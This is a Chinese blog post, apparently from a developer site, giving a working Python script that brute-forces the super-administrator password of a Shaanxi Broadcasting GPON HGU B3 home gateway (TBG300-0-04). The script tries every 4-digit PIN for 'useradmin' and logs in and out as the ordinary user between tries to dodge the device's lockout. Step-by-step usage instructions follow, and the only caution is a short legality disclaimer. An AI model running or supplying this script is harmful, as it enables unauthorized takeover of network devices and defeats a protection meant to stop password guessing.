破解陕西广电GPON HGU B3型家庭网关超级管理员密码 (TBG300-0-04)

此代码用于尝试破解陕西广电GPON HGU B3型家庭网关(设备型号:TBG300-0-04)的超级管理员密码。通过遍历4位数字密码组合,该脚本会自动模拟登录尝试,直到成功找到正确的超级管理员密码。

代码说明:
  • 目标设备: 陕西广电 GPON HGU B3 型家庭网关 (TBG300-0-04)。
  • 功能: 该脚本通过requests库模拟HTTP请求,遍历尝试常见的4位数字组合,以找到设备的超级管理员密码。
  • 操作原理:
    1. 首先,脚本会以普通用户身份登录并注销,以避免因过多登录失败导致设备暂时封锁。
    2. 随后,脚本会使用useradmin作为用户名,尝试不同的4位数字密码进行登录。
    3. 如果登录成功,脚本会检测到HTTP 302重定向,并打印成功的密码。
  • 使用注意: 在使用此脚本时,需要在指定位置输入光猫的默认用户密码(用于普通用户的登录操作)。
注意事项:
  • 合法性: 请确保您在使用此脚本时具有合法权限。未经授权的尝试访问或破解设备密码可能违反相关法律和法规。
  • 安全风险: 由于这是一个暴力破解脚本,可能触发设备的安全机制,如IP封禁或账号锁定。建议谨慎操作,避免对设备造成不良影响。
使用方法:
  1. 将代码中的 "your_default_password" 替换为设备的默认用户密码。
  2. 运行脚本,等待它自动尝试密码组合。
  3. 当正确的密码被找到时,脚本将打印成功的密码。
  4. 打开后台网站,使用用户名useradmin(注意不是默认的user)和打印密码登录
import requests

# 定义用户代理,用于模拟浏览器的请求头
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"

# 定义登录和注销的URL
LOGIN_URL = "http://192.168.1.1/boaform/admin/formLogin"
LOGOUT_URL = "http://192.168.1.1/boaform/admin/formLogout"

# 遍历尝试的密码,从0到9999
for i in range(10000):
    # 初始化请求头信息
    headers = {"User-Agent": USER_AGENT}

    # 创建一个Session对象,用于维持会话
    session = requests.Session()
    session.headers.update(headers)

    # 访问首页以初始化cookies,这可能是必要的步骤来绕过某些安全机制
    response = session.get("http://192.168.1.1")
    cookies = session.cookies

    # 如果当前尝试的次数是奇数或是0,则使用普通用户登录,以避免登录次数过多导致封锁
    if i % 2 == 1 or i == 0:
        # 提示用户在此处输入光猫的默认用户密码
        # 替换 'your_default_password' 为实际的默认用户密码
        login_data = {"username": "user", "psd": "your_default_password", "login_in": "%B5%C7%C2%BC"}

        # 提交普通用户的登录请求,allow_redirects=False表示不跟随重定向
        session.post(LOGIN_URL, data=login_data, allow_redirects=False)

        # 立即提交注销请求,以保持正常状态
        session.post(LOGOUT_URL, allow_redirects=False)

    # 构建管理员登录的数据,尝试以useradmin及当前4位数字密码登录
    login_data = {"username": "useradmin", "psd": "{:04d}".format(i), "login_in": "%B5%C7%C2%BC"}

    # 提交管理员的登录请求
    res = session.post(LOGIN_URL, data=login_data, allow_redirects=False)

    # 检查响应状态码,302表示重定向(通常登录成功后会重定向到管理页面)
    if res.status_code == 302:
        print("Login succeeded with password:", "{:04d}".format(i))
        break  # 成功后退出循环
    else:
        print("Login failed for password:", "{:04d}".format(i))
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值